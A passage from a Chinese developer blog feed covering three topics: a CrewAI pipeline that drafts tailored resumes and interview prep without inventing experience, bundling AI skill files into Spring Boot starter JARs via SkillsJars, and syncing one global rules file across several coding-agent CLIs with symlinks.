我选择顺序流程，因为简历生成有明显的依赖链：先了解公司，再分析 JD，再写简历，最后准备面试。

CrewAI 的特点

相比 LangGraph 或 Autogen，我选择 CrewAI 有几个原因。首先是它的声明式配置风格——Agent 和 Task 通过 YAML 定义，代码只负责组装逻辑，这样调整 Agent 行为不需要改 Python 代码。其次是它的 role、goal、backstory 三件套设计，让 Agent 的行为边界非常清晰，不容易出现职责混乱。最后是工具集成机制——Agent 可以挂载自定义工具，工具继承 BaseTool，支持 Pydantic schema 校验。

来看一个简化的例子，对应项目中 company_researcher Agent 的定义：

agents.yaml 中的配置：

company_researcher:
  role: "{company_name} 公司研究员"
  goal: "通过公开网络信息梳理公司业务、产品、行业和技术能力"
  backstory: |
    你擅长从官网、招聘信息、新闻和公开资料中提炼公司画像。
    你不会把未经证实的信息写成事实，会保留来源 URL。

crew.py 中的 Agent 创建：

@CrewBase
class InterviewAssistant:
    agents_config = "config/agents.yaml"
    tasks_config = "config/tasks.yaml"

    @agent
    def company_researcher(self) -> Agent:
        return Agent(
            config=self.agents_config["company_researcher"],
            llm=build_llm("company_researcher"),  # 使用哪个 LLM profile
            tools=[CompanySearchTool()],           # 挂载工具
            verbose=True,
        )

对应的 Task 定义（tasks.yaml）：

company_research:
  description: >
    研究目标公司：{company_name}。
    请使用公司信息搜索工具，围绕业务、产品、技术栈做调研。
  expected_output: >
    输出公司画像、业务关键词、可能关注的技术能力、信息来源 URL。
  agent: company_researcher  # 分配给哪个 Agent

组装成 Crew（顺序执行）：

@crew
def crew(self) -> Crew:
    return Crew(
        agents=self.agents,
        tasks=self.tasks,
        process=Process.sequential,  # 顺序执行
        verbose=True,
    )

启动执行：

inputs = {"company_name": "某公司", "target_role": "Java 架构师"}
InterviewAssistant().crew().kickoff(inputs=inputs)

整个流程就是：YAML 定义 → Python 组装 → kickoff 执行。

系统架构

先放一张架构图，对整体有个感知：

整个系统的数据流是这样的：

flowchart TD
    Input["用户输入<br/>公司名 + 岗位 JD"] --> CompanyResearch["company_researcher<br/>公司调研"]
    CompanyResearch --> JDMatch["jd_resume_strategist<br/>JD 匹配分析"]
    JDMatch --> ResumeWriter["resume_writer<br/>定制简历生成"]
    ResumeWriter --> GreetingWriter["greeting_writer<br/>打招呼话术"]
    GreetingWriter --> InterviewCoach["interview_coach<br/>面试追问准备"]

    CompanyResearch -.->|"使用"| SearchTool["CompanySearchTool<br/>Tavily / Serper"]
    JDMatch -.->|"读取"| ResumeTool["ResumeMaterialTool<br/>本地素材库"]
    ResumeWriter -.->|"读取"| ResumeTool
    GreetingWriter -.->|"使用"| ResumeTool

    SearchTool --> External["公开网络搜索"]
    ResumeTool --> Wiki["本地知识库<br/>项目复盘 / 简历优化"]

对应的时序图（一次完整运行的执行顺序）：

sequenceDiagram
    participant User as 用户
    participant Main as main.py
    participant Crew as CrewAI Crew
    participant R1 as company_researcher
    participant R2 as jd_resume_strategist
    participant R3 as resume_writer
    participant R4 as greeting_writer
    participant R5 as interview_coach
    participant Search as CompanySearchTool
    participant RM as ResumeMaterialTool
    participant FS as 文件系统

    User->>Main: uv run interview_assistant<br/>--company XX --role YY --jd-file JD.md
    Main->>Main: 加载 .env / 解析参数
    Main->>Main: 构建 output_dir / 写入 00-inputs.md
    Main->>Crew: kickoff(inputs={company, role, JD...})

    Note over Crew: Process.sequential 顺序执行

    Crew->>R1: 执行 company_research task
    R1->>Search: company_search(company_name)
    Search->>External: Tavily API / Serper API
    External-->>Search: 搜索结果
    Search-->>R1: JSON {公司画像, URL, 技术栈...}
    R1-->>FS: 写入 01-company-research.md
    R1-->>Crew: task output

    Crew->>R2: 执行 jd_resume_match task
    R2->>RM: resume_material_reader(focus=JD关键词)
    RM-->>R2: 精选素材内容
    R2-->>FS: 写入 02-matching-analysis.md
    R2-->>Crew: task output

    Crew->>R3: 执行 tailored_resume task
    R3->>RM: resume_material_reader(focus=匹配分析)
    RM-->>R3: 精选素材内容
    R3-->>FS: 写入 03-tailored-resume.md
    R3-->>Crew: task output

    Crew->>R4: 执行 greeting_message task
    R4-->>FS: 写入 04-greeting-message.md
    R4-->>Crew: task output

    Crew->>R5: 执行 interview_questions task
    R5-->>FS: 写入 05-interview-questions.md
    R5-->>Crew: task output

    Crew-->>Main: 所有 task 完成
    Main->>FS: 追加 job_application_history.csv
    Main-->>User: 输出目录: out/YYYYMMDD-HHMMSS-XX-YY/

五个 Agent 的设计

1. company_researcher（公司调研）

这个 Agent 的职责是在写简历之前，先搞清楚目标公司是什么。它会搜索公司业务、产品/解决方案、行业场景和技术栈、招聘线索和团队信息、近期动态和融资情况。输出的《公司画像》会说明：这家公司可能更关注业务交付？还是平台架构？AI 工程化？还是研发管理？这些洞察直接影响简历的侧重点。工具是 CompanySearchTool，支持 Tavily（优先）和 Serper（兜底），保留来源 URL。

输出产物：01-company-research.md——公司画像、业务关键词、可能关注的技术能力、信息来源 URL、不确定性说明。

2. jd_resume_strategist（JD 匹配分析）

这是最关键的一个环节——把 JD 拆解，然后匹配到你的个人经历。它会拆解 JD 的必须项、加分项、软性要求和隐含要求，从本地素材库中找到匹配的经历，建立「JD 要求 → 可用经历 → 来源文件 → 简历写法」的四层映射，并标出 [待补] 数据（未确认的时间、指标、团队规模等）。一个重要约束是：这个 Agent 不能编造，只能重组已有的材料，所有经历必须有据可查。工具是 ResumeMaterialTool，读取精选的本地 Markdown 文件，而非全库扫描。

输出产物：02-matching-analysis.md——JD 要求拆解、经历匹配矩阵、推荐保留的工作/项目顺序、不建议写入的内容、[待补] 数据清单。

3. resume_writer（定制简历生成）

基于前两个阶段的输出，这个 Agent 生成面向这家公司的定制简历。规则包括：保留真实经历边界，未确认数据用 [待补] 标注；技能关键词、工作经历、项目经历都面向 JD 重排；外部公司信息不会被误写成个人经历；每条 bullet 都能被面试追问支撑。工具同样挂载 ResumeMaterialTool，因为它需要参考优化版简历和项目复盘。

输出产物：03-tailored-resume.md——个人定位、技能关键词、工作经历、项目经历、面试自我介绍、[待补] 数据、素材来源提示。

4. greeting_writer（打招呼话术）

这是很多人会忽略但其实很重要的环节：招聘 App 上的第一句话。它需要语气自然、像真人，不要营销腔；突出 2-3 个与 JD 最匹配的能力点；附上个人链接（GitHub / 博客 / Zeka Stack），但首句最多 1-2 个；长度控制在 120-220 字。这个 Agent 会生成多个版本：标准版、短版、偏技术负责人版、偏 AI 工程化版。

输出产物：04-greeting-message.md——推荐打招呼语、更短版本、偏技术负责人版本、偏 AI 工程化版本、匹配点说明。

5. interview_coach（面试追问准备）

基于定制简历，预测面试官会问什么。覆盖范围包括：每段工作经历的可能追问、每个重点项目的技术深挖、JD 强相关技术主题、行为面试 / 压力面试 / HR 常见问题，以及 [待补] 内容的风险提示和兜底回答。

输出产物：05-interview-questions.md——高频追问总览、按工作经历/项目组织的问题和回答抓手、JD 强相关技术主题复习清单、行为面试问题、风险问题和兜底建议。

工具设计

CompanySearchTool

from crewai.tools import BaseTool
from pydantic import BaseModel, Field

class CompanySearchInput(BaseModel):
    company_name: str = Field(..., description="要调研的公司名称")
    focus: str | None = Field(default=None, description="可选聚焦方向")

class CompanySearchTool(BaseTool):
    name: str = "company_search"  # 必须 ASCII
    description: str = "公司信息搜索工具：优先 Tavily，失败时自动降级 Serper"
    args_schema: type[BaseModel] = CompanySearchInput

    def _run(self, company_name: str, focus: str | None = None) -> str:
        # 1. 构造多组查询
        queries = self._build_queries(company_name, focus)
        # 2. 优先 Tavily，失败则 fallback 到 Serper
        try:
            results = self._search_tavily(queries)
        except Exception:
            results = self._search_serper(queries)
        # 3. 返回结构化 JSON
        return json.dumps({"results": results, "provider": provider}, ensure_ascii=False)

这里有几个细节需要注意：name 必须是 ASCII 字符，因为 CrewAI 内部会调用 sanitize_tool_name() 把非 ASCII 字符丢掉，可能导致 name 变成空字符串；args_schema 用 Pydantic 定义，CrewAI 会自动生成工具调用的界面；_run 是实际执行逻辑，返回字符串供 Agent 使用。

ResumeMaterialTool

class ResumeMaterialTool(BaseTool):
    name: str = "resume_material_reader"
    description: str = "本地简历素材读取工具：读取候选人已优化的简历底稿..."
    args_schema: type[BaseModel] = ResumeMaterialInput

    def _run(self, focus: str = "") -> str:
        sections = ["# 本地简历素材读取结果", f"focus: {focus}"]

        # 只读精选入口，避免全库扫描
        core_files = [
            PROJECT_REVIEW_DIR / "简历工作经历素材库.md",
            PROJECT_REVIEW_DIR / "简历项目描述-STAR法则.md",
        ]
        for file_path in core_files:
            sections.append(self._read_file_section(file_path, limit=18000))

        # glob 匹配项目复盘概览
        for file_path in self._overview_files():
            sections.append(self._read_file_section(file_path, limit=6000))

        return "\n\n".join(sections)

    def _overview_files(self) -> list[Path]:
        patterns = ["*/01. *项目复盘概览.md"]
        files = []
        for pattern in patterns:
            files.extend(PROJECT_REVIEW_DIR.glob(pattern))
        return sorted(set(files))

这个工具的设计原则是精选入口而非全库扫描。它只读取几个关键位置：简历工作经历素材库、STAR 法则模板、优化版简历，以及项目复盘的概览索引，而不是去扫整个 Wiki 知识库。

LLM Profile 体系

项目支持多 profile 差异化配置，不同 Agent 使用不同档次的模型：

LOW：gpt-5.4-mini，用于 company_researcher 和 greeting_writer，因为这两个任务相对简单，LOW 档足够
MEDIUM：gpt-5.5，作为默认 profile
HIGH：gpt-5.5，用于 jd_resume_strategist、resume_writer 和 interview_coach，因为 JD 匹配分析、简历写作、面试追问需要更强的推理能力

这样分配的原因是 LOW 的 token 费用大概是 HIGH 的一半，能省则省。

LLM_DEFAULT_PROFILE=medium
LLM_LOW_BASE_URL=http://127.0.0.1:8317/v1
LLM_LOW_MODEL=gpt-5.4-mini
LLM_HIGH_BASE_URL=http://127.0.0.1:8317/v1
LLM_HIGH_MODEL=gpt-5.5

求职历史追踪

每次运行会向 CSV 追加一条记录，包含：

run_id、时间戳、公司、岗位
JD 哈希（用于去重）
各输出文件路径和大小
状态（success / failed）

重复判断基于 company_name + target_role + jd_sha256。如果历史中已有相同记录，程序会提示而非重复执行。这个 CSV 的价值在于积累求职数据，方便后续做统计、分析和优化。

一些设计原则

回顾这个项目的设计，有几个我觉得值得坚持的原则：

工具约束要写在 Tool 里，不是写在 Prompt 里。 很多 Agent 项目把「不能编造」「保留 [待补]」这类规则塞在 Prompt 中，但 Prompt 会漂移。CrewAI 的做法是：Tool 的 description 就是约束，Agent 看到 Tool 的 schema 就知道能用做什么、不能做什么。
精选素材入口，而非全库扫描。 本地知识库可能很大，但如果每次都读全部内容，噪声太多、token 消耗太大。设计工具时，我刻意限制了读取范围：只读精选入口文件 + 项目概览索引。如果某个 Agent 确实需要更详细内容，再手动补充。
输出结构化，而非自由文本。 每个 Agent 的输出都是固定格式的 Markdown：分节、有编号、有来源标注。这样后续 Agent 可以更容易地解析前一个 Agent 的输出，也方便人工复核。
简历内容必须可追问。 每条 bullet 都要能回答「这个数据从哪来」「这个成果是怎么做到的」。不能追问我就不会写。这是「定制简历」和「编造简历」的本质区别。

技术栈

框架：CrewAI，Python 实现
依赖管理：uv（Python >= 3.10 < 3.14）
搜索：Tavily API / Serper API（自动 fallback）
本地素材：Markdown 文件（Obsidian 知识库格式）
输出：Markdown 简历 + CSV 求职历史 + ANSI 清洗后的运行日志

总结

这个项目的核心思路是：把「投一个公司」当成一个小型的信息处理流水线——输入公司名和 JD，经过公司调研、JD 分析、简历定制、话术生成、面试准备五个阶段，输出一套完整的求职材料。

CrewAI 提供的 Multi-Agent 框架让这种流水线变得易于维护：每个 Agent 的职责清晰，通过 YAML 配置就能调整行为，新增一个阶段也只需要加一个 Agent + Task。

最终想实现的效果是：每次想投一个新公司，只需要准备好 JD，跑一条命令，等几分钟，然后人工复核输出的简历——而不是从零开始想怎么写。

如果你也在思考如何用 AI 辅助求职，或者对 Multi-Agent 系统有兴趣，欢迎交流。

让 Spring Boot Starter 天然支持 AI：Zeka Stack 接入 SkillsJars 的一次探索

Tue, 19 May 2026 00:00:00 GMT

背景

最近我一直在重新思考一个问题：在 AI 已经可以大量生成代码的今天，Spring Boot Starter 这类工程脚手架的价值还剩下什么？

过去做 Starter，主要是为了减少重复配置。开发者引入一个依赖，就能获得自动配置、默认 Bean、统一异常处理、统一响应模型、消息队列封装、接口文档集成等能力。它解决的是“少写样板代码”和“统一工程规范”的问题。

但现在 AI 已经能很快生成 Controller、Service、DTO、Mapper，甚至配置文件和测试代码。单纯减少样板代码，已经不再是框架最核心的竞争力。

真正的问题变成了：AI 写出来的代码，是否理解你的工程体系？

它知道项目为什么要用统一响应模型吗？
它知道某个 Starter 已经自动装配了哪些 Bean 吗？
它知道哪些 Bean 可以覆盖，哪些不应该绕过吗？
它知道同一个组件下 Servlet Starter 和 Reactive Starter 应该怎么选吗？
它知道团队约定的异常处理、配置方式、日志方式和扩展边界吗？

如果 AI 不知道这些，它写得越快，偏离工程规范的速度也越快。

这也是我在思考 Zeka Stack 3.0.0 时，一个越来越明确的判断：未来的 Starter 不应该只给人和 JVM 使用，还应该给 AI 使用。

从 README 到 AI 可消费的组件说明

传统 README 是给人看的。它解释组件是什么、怎么引入、有哪些配置、如何运行示例。

但 AI Agent 在真实编码时，并不一定会稳定地读取 README，也不一定知道某个模块里的 docs/、示例工程和自动配置类之间是什么关系。更重要的是，README 往往面向“阅读理解”，而不是面向“编码决策”。

AI 真正需要的是一种更直接的上下文：

这个 Starter 适合什么场景
它提供了哪些能力
它自动装配了哪些 Bean
使用方应该如何写业务代码
哪些配置可以调整
如何覆盖默认 Bean
哪些写法是错误的
同组件下其他 Starter 应该如何选型

也就是说，Starter 需要一份专门给 AI 看的说明书。

这正好和 SkillsJars 的思路契合：把 SKILL.md 打进 JAR，让 Skill 随 Maven 依赖一起分发。使用方项目依赖了某个 Starter，就可以把这个 Starter 内置的 Skill 解包到 AI 工具目录里，让 AI 在写代码时读取这些组件规则。

SkillsJars 是什么

在设计 Zeka Stack 的 Starter Skill 之前，需要先理解 SkillsJars 解决的问题。

现在不少 AI 编程工具都开始支持 Agent Skills。一个 Skill 通常就是一个带有 SKILL.md 的目录，用来告诉 AI：这个能力什么时候使用、应该遵守什么流程、有哪些约束、不要做什么。

但传统 Skill 的分发方式比较“文件夹化”：复制到 .cursor/skills、.kiro/skills、.claude/skills、.qoder/skills 这类目录中。它适合个人使用，但放到 Java 工程体系里，就会遇到几个问题：

Skill 怎么跟随依赖版本升级？
Skill 怎么和组件一起发布？
多个项目如何复用同一份 Skill？
AI 工具目录里的 Skill 怎么保证和当前项目依赖版本一致？
一个 Starter 升级后，对应的 AI 使用说明如何同步升级？

SkillsJars 的思路就是把 Agent Skills 纳入 JVM 生态最熟悉的分发体系：Maven / Gradle / JAR。

它把 SKILL.md 和相关文件打包进 JAR，并放在约定目录下：

META-INF/skills/<org>/<repo>/<skill>/SKILL.md

这样 Skill 就可以像普通 Java 依赖一样被管理：

可以发布到 Maven Central
可以通过 Maven / Gradle 引入
可以跟随依赖版本升级
可以作为传递依赖分发
可以被构建插件解包到 AI 工具目录
也可以被 Spring AI 这类 JVM Agent Runtime 直接从 classpath 读取

SkillsJars 主要有两个动作。

第一个是 Packaging SkillsJars，也就是发布方把 Skill 打进 JAR。项目中维护：

skills/<skill-name>/SKILL.md

Maven package 时，SkillsJars 插件会把它复制到 JAR 的 META-INF/skills/... 目录。

第二个是 Extracting SkillsJars，也就是使用方把依赖里的 Skill 解包出来。比如业务项目依赖了某个带 Skill 的 Starter 后，可以执行：

./mvnw com.skillsjars:maven-plugin:0.0.7:extract -Ddir=.cursor/skills

插件会扫描当前 Maven 项目的依赖图，找到依赖 JAR 中的 META-INF/skills，再解包到 AI 工具能读取的目录。

这对 Zeka Stack 很关键。因为 Starter 本来就是工程规范的入口：它不只是引入依赖，还统一了自动配置、默认 Bean、异常处理、响应模型、消息模型和扩展边界。过去这些规则主要服务于 Spring Boot；现在它们也应该被打包成 AI 可以读取的上下文。

换句话说，SkillsJars 让 Starter 从“代码依赖”进一步变成“代码依赖 + AI 使用说明依赖”。开发者引入一个 Starter，AI 也能同步理解这个 Starter 的正确用法。

为什么 Skill 应该放在具体 Starter 下

一开始我也考虑过在组件根目录放一份 Skill，比如：

cubo-rest-spring-boot/skills/cubo-rest-spring-boot/SKILL.md

但很快发现这个设计不够准确。

因为 Zeka Stack 的很多组件下面不止一个 Starter。比如 REST 组件下有：

cubo-rest-servlet-spring-boot-starter
cubo-rest-reactive-spring-boot-starter

消息组件未来也可能有：

cubo-messaging-kafka-spring-boot-starter
cubo-messaging-rocketmq-spring-boot-starter

这些 Starter 面向不同技术栈，使用方式、推荐代码、自动配置 Bean、风险边界都不一样。使用方依赖的是具体 Starter，而不是上层聚合组件。

所以最终规则是：每个直接暴露给使用方依赖的 Starter，都应该维护自己的 Skill。

目录结构如下：

cubo-rest-servlet-spring-boot-starter/
└── skills/
    └── cubo-rest-servlet-spring-boot-starter/
        └── SKILL.md

这样打包后，Skill 会进入对应 Starter JAR。使用方只依赖 Servlet Starter，就只会解出 Servlet Skill；依赖 Reactive Starter，就只会解出 Reactive Skill。

这个行为正好符合 Maven 依赖的语义。

一个关键约束：Skill 必须自包含

这里还有一个很容易忽略的问题：SKILL.md 会被打包进 JAR，但源码仓库里的 README.md、docs/、示例工程通常不会一起打进去。

所以 Skill 里不能写：

参考 docs/detail-xxx.md
参考 README.md
参考 cubo-starter-examples/xxx

因为使用方解包后根本看不到这些文件。

这意味着 Skill 不能只是一个索引，它必须自包含。必要的规则、最佳实践、配置说明、Bean 覆盖方式、选型建议，都要直接写进 SKILL.md。

这和普通文档的写法不同。普通文档可以分层引用，Skill 更像是一个可携带的最小上下文包。

Packaging 和 Extracting 的分工

SkillsJars 里有两个动作。

一个是 Packaging。

这是框架发布方做的事情。Zeka Stack 在 Starter 模块里维护：

skills/<starter-artifact-id>/SKILL.md

Maven 打包时，插件会把它放进 JAR 的：

META-INF/skills/...

另一个是 Extracting。

这是使用方项目做的事情。业务项目依赖了 Zeka Stack Starter 后，可以执行：

./mvnw com.skillsjars:maven-plugin:0.0.7:extract -Ddir=.cursor/skills

插件会扫描当前 Maven 项目的依赖图，找到依赖 JAR 里的 META-INF/skills，再解包到 AI 工具目录。

这里有一个重要细节：extract 不会扫描本地 .m2 中所有已经安装的 JAR，也不会扫描整个 reactor 的所有模块。它只解析当前项目依赖图里的 JAR，以及插件自己的 dependencies。

所以如果当前项目只依赖了 Servlet Starter，就只会解出 Servlet Skill。这是合理的。

Zeka Stack 里的落地方式

为了避免每个 Starter 都重复配置插件，我把 SkillsJars 的 package 能力放到了组件父 POM 中统一管理。

Starter 模块只负责维护自己的：

skills/<starter-artifact-id>/SKILL.md

插件配置统一使用：

<skillsDir>${project.basedir}/skills</skillsDir>

这样每个具体 Starter 都会读取自己模块下的 skills/ 目录。

同时，我还补了一个仓库级 Skill：

supports/skills/zeka-starter-skill-builder/SKILL.md

它的作用是指导后续为新的 Starter 生成符合规范的 SKILL.md。这个 Skill 固化了几条规则：

Skill 写到具体 Starter 模块下
内容必须自包含
生成前必须读取整个组件上下文，而不是只看 Starter POM
同组件多个 Starter 必须分别生成 Skill
每份 Skill 都要包含同组件其他 Starter 的选型说明
不默认添加 allowed-tools
解包验证必须使用完整 Maven 插件坐标

我希望 Starter Skill 最终提供什么

一个好的 Starter Skill，不应该只是“这个组件怎么引入”。

它应该告诉 AI：

这个组件解决什么问题
提供了哪些能力
推荐怎么写业务代码
哪些配置项会影响行为
自动装配了哪些关键 Bean
哪些 Bean 可以由使用方覆盖
覆盖时有什么风险
哪些写法会绕过框架约定
同类 Starter 应该如何选型

例如 REST Servlet Starter 的 Skill 应该明确告诉 AI：这是 Spring MVC / Servlet 场景，不要生成 WebFlux 的 Mono、Flux；异常处理应该走统一异常模型，不要在 Controller 里临时拼 JSON 错误结构。

Reactive Starter 的 Skill 则应该强调响应式边界，不要在 Reactive 链路里直接混入阻塞式调用，也不要使用 Servlet 专用类型。

这才是 AI 真正需要的工程上下文。

结语

这次接入 SkillsJars，对我来说不是简单地“给项目加几个 Skill 文件”。

它更像是 Zeka Stack 3.0.0 AI Native 方向上的一个基础动作：让 Starter 从“代码依赖”升级为“代码依赖 + AI 上下文依赖”。

过去，Starter 帮开发者少写配置。
现在，Starter 还应该帮助 AI 少走弯路。

当一个业务项目引入 Zeka Stack 的 Starter 时，它不仅获得自动配置和默认 Bean，也应该获得一份可以被 AI 读取的工程规则。这样 AI 生成代码时，才不会只是泛泛地写 Spring Boot，而是沿着 Zeka Stack 定义好的工程轨道前进。

这可能才是 AI 时代下脚手架和 Starter 新的价值：不只是生成代码，而是把工程约束、架构边界和最佳实践，持续地交给 AI 使用。

参考链接

统一管理本地 Code Agent 全局规则：从 AGENTS.md 到 Synology Drive 同步

Wed, 13 May 2026 00:00:00 GMT

统一管理本地 Code Agent 全局规则：从 AGENTS.md 到 Synology Drive 同步

最近一段时间，我在本地同时使用了几类 Code Agent 工具，比如 Codex CLI、Claude Code、opencode、Gemini CLI，再加上平时也会用 Cursor。这些工具确实能显著提升开发效率，但用得越多，一个问题也越明显：

Agent 很强，但如果没有稳定的规则约束，它很容易“过度发挥”。

比如：

让它给一个实现建议，它直接开始改代码；
明明只是一个小需求，它生成一堆复杂抽象；
原本只需要局部修改，它顺手重构了一大片；
新增文件没有注释，没有上下文说明；
不同工具之间行为不一致，同一个需求在 Claude Code、Codex、Gemini 里表现完全不同；
一个工具记得“先给方案再修改”，另一个工具上来就落盘。

这些问题单看都不大，但在日常工程开发里会不断累积成摩擦：你需要反复提醒、反复纠偏、反复 review AI 生成的无关改动。

于是我今天做了一次整理：把多个 Code Agent 工具的全局规则统一起来，放到一个可同步的全局规则文件中，再通过软链接分发给各个工具使用。

背景：Code Agent 不是越主动越好

我一直觉得，使用 Claude Code、Codex 这类工具时，最危险的不是它“不会写代码”，而是它“太会写代码”。

很多时候我们需要的是：

先理解需求；
给出实现方案；
明确修改范围；
等待确认；
再做最小必要修改；
修改后说明改了什么，以及如何验证。

但默认情况下，Agent 很容易把“建议”理解成“执行”，把“实现一个点”扩大成“重构一片”。

这类问题本质上不是单纯的模型能力问题，而是 上下文和行为规则缺失。

这次触发我重新整理全局规则的契机，是看到 Andrej Karpathy 关于 Claude coding workflow 的讨论。他提到自己大量使用 Claude Code，并且软件工程工作流正在发生变化。围绕这条讨论，社区也出现了一些把这些经验沉淀成规则文件的项目，例如 andrej-karpathy-skills，它将核心原则总结为：Think Before Coding、Simplicity First、Surgical Changes、Goal-Driven Execution。这些原则正好对应我在使用 Code Agent 时遇到的几个问题：不先思考、过度复杂化、修改范围过大、缺少可验证目标。

所以我决定不再依赖每次对话时临时提醒，而是把这些约束沉淀成一份长期生效的全局规则。

问题：多个工具，各有一套规则文件

现在本地 Code Agent 工具越来越多，每个工具都有自己的“全局指令”或“项目规则”机制。

我目前主要整理了这几类：

工具	全局规则文件	项目级规则文件
Codex CLI	`~/.codex/AGENTS.md`	`./AGENTS.md`
Claude Code	`~/.claude/CLAUDE.md`	`./CLAUDE.md` / `./.claude/CLAUDE.md`
opencode	`~/.config/opencode/AGENTS.md`	`./AGENTS.md`
Gemini CLI	`~/.gemini/GEMINI.md`	`./GEMINI.md`
Cursor	Settings → Rules → User Rules	`.cursor/rules/*.mdc` / `AGENTS.md`

Codex CLI 支持通过 AGENTS.md 给 Agent 提供规则；Claude Code 使用 CLAUDE.md 作为 memory / instruction 文件；Cursor 有 User Rules、Project Rules，也支持 AGENTS.md；Gemini CLI 则使用 GEMINI.md 做分层上下文管理。

这些机制本身都很合理，但问题是：

如果每个工具都维护一份规则，最终一定会漂移。

今天在 Codex 里加了一条“修改前先确认”，明天忘了同步到 Claude Code；后天给 Gemini 加了“必须添加注释”，opencode 又没有。久而久之，每个工具表现都不一致。

这不是我想要的。

我希望所有本地 Code Agent 至少遵循同一套基础行为原则。

思考：全局规则应该管什么？

在整理之前，我先区分了两类规则。

第一类：个人全局偏好

这些规则应该对所有项目、所有工具都生效，例如：

始终使用中文回复；
每次回复开头和结尾称呼用户：【dong4j】；
用户提出需求时，先给实现方案并征求确认；
未确认前不要修改代码或配置；
如果用户明确要求“直接修改 / 现在写入 / 添加到文件”，可以执行，但仍需先说明修改范围；
代码必须添加必要注释；
新增完整代码文件时，必须补充模块级说明、关键类 / 函数说明、复杂逻辑注释；
遇到不明确的指令，必须指出并给出建议；
保持最小变更，避免无关重构；
不要自动执行 git commit、git push、git reset 等操作，除非明确要求。

这些是我的个人工作流偏好，适合放到全局规则里。

第二类：项目级规则

这些规则应该放在具体仓库里，例如：

当前项目使用 Java 21；
构建命令是 mvn clean verify；
Controller 不写业务逻辑；
DTO / Entity / VO 不允许混用；
项目 commit message 必须使用英文；
某个目录有特定架构约束。

这类规则不应该写到全局文件里，否则会污染其他项目。

所以最后的原则是：

全局规则管行为，项目规则管上下文。

全局规则约束 Agent “怎么做事”；项目规则告诉 Agent “这个项目是什么”。

规则加载方式：不是简单覆盖，而是上下文合并

在整理过程中，我顺手梳理了一下几个工具的规则加载方式。

Codex CLI

Codex 使用 AGENTS.md。全局文件通常是：

~/.codex/AGENTS.md

项目里可以放：

./AGENTS.md

Codex 会按层级加载规则：全局规则、项目根目录规则、子目录规则等会组成一条 instruction chain。也就是说，它不是简单“项目覆盖全局”，而是把多个规则文件一起作为上下文提供给 Agent。OpenAI Codex CLI 本身是运行在本地机器上的轻量 coding agent，适合这种本地规则注入方式。

Claude Code

Claude Code 使用：

~/.claude/CLAUDE.md

项目中可以放：

./CLAUDE.md
./.claude/CLAUDE.md

Claude Code 会把这些 memory / instruction 文件加载进上下文。全局规则适合放个人偏好，项目规则适合放仓库约束。

opencode

opencode 使用：

~/.config/opencode/AGENTS.md

项目级规则依然是：

./AGENTS.md

opencode 是一个开源 AI coding agent，定位也是本地 / 终端 / IDE 中的代码代理工具。它也支持通过规则文件给 Agent 提供上下文。

Gemini CLI

Gemini CLI 使用：

~/.gemini/GEMINI.md

项目级：

./GEMINI.md

Gemini CLI 的 GEMINI.md 是分层上下文机制。官方文档里 /memory show 可以显示当前拼接后的完整 hierarchical memory，/memory reload 可以重新扫描并加载所有 GEMINI.md，/memory add 会把内容追加到全局 ~/.gemini/GEMINI.md。

它的层级大致是：

~/.gemini/GEMINI.md
项目根目录/GEMINI.md
子目录/GEMINI.md

Gemini CLI 的文档也明确提到，context 是按层级加载的，可以用全局文件放通用规则，用项目和子目录文件放更具体的规则。

Cursor

Cursor 稍微特殊一点。

它有：

Cursor Settings → Rules → User Rules

也有项目级：

.cursor/rules/*.mdc

并且支持 AGENTS.md。Cursor 官方文档将规则分成 Project Rules、Team Rules、User Rules，并支持用这些规则配置持久化指令。

不过 Cursor 的全局 User Rules 更适合在 UI 里配置，不像其他 CLI 工具有一个明确的全局 Markdown 文件路径。因此这次统一方案里，Cursor 没有用软链接，而是把同一套规则手动放到 User Rules 中。

方案：自建统一全局规则文件

为了避免每个工具各维护一份规则，我新建了一个统一规则文件：

$HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md

这个文件放在 Synology Drive 的同步目录里。

这样做有几个好处：

所有工具共用同一份规则源
规则变更只改一个文件
其他 Mac 可以通过群晖同步自动获得同一套规则
避免不同工具规则漂移
可以长期演进这份规则，把它当作个人 Code Agent 工作流的基础设施

目录大致是：

$HOME/Library/CloudStorage/SynologyDrive-driver/AI/
└── global/
    └── agents.md

实施：用软链接连接到各个工具目录

统一规则文件准备好后，各工具目录下不再维护真实文件，而是通过 ln -s 指向这份统一文件。

Codex CLI

mkdir -p ~/.codex

rm -f ~/.codex/AGENTS.md

ln -s \
  $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md \
  ~/.codex/AGENTS.md

最终效果：

~/.codex/AGENTS.md -> $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md

Claude Code

Claude Code 的文件名是 CLAUDE.md，但内容可以和 agents.md 共用：

mkdir -p ~/.claude

rm -f ~/.claude/CLAUDE.md

ln -s \
  $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md \
  ~/.claude/CLAUDE.md

最终效果：

~/.claude/CLAUDE.md -> $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md

opencode

mkdir -p ~/.config/opencode

rm -f ~/.config/opencode/AGENTS.md

ln -s \
  $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md \
  ~/.config/opencode/AGENTS.md

最终效果：

~/.config/opencode/AGENTS.md -> $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md

Gemini CLI

Gemini CLI 的文件名是 GEMINI.md：

mkdir -p ~/.gemini

rm -f ~/.gemini/GEMINI.md

ln -s \
  $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md \
  ~/.gemini/GEMINI.md

最终效果：

~/.gemini/GEMINI.md -> $HOME/Library/CloudStorage/SynologyDrive-driver/AI/global/agents.md

Cursor

Cursor 的全局规则在 UI 里配置：

Cursor Settings → Rules → User Rules

所以 Cursor 这里暂时不能像 CLI 工具一样用软链接统一，只能把同一份规则内容复制进去。

项目级规则仍然可以使用：

.cursor/rules/*.mdc

或者：

AGENTS.md

当前统一后的结构

现在本地大致变成了这样：

Synology Drive
└── AI
    └── global
        └── agents.md
              ↑
              │
              ├── ~/.codex/AGENTS.md
              ├── ~/.claude/CLAUDE.md
              ├── ~/.config/opencode/AGENTS.md
              └── ~/.gemini/GEMINI.md

用一条命令可以检查：

ls -l ~/.codex/AGENTS.md
ls -l ~/.claude/CLAUDE.md
ls -l ~/.config/opencode/AGENTS.md
ls -l ~/.gemini/GEMINI.md

输出中应该都能看到它们指向同一个 Synology Drive 里的 agents.md。

我的全局规则核心内容

这次统一的规则主要围绕几个目标。

1. 始终中文回复

- 请始终使用中文回复，除非用户明确要求使用其他语言。
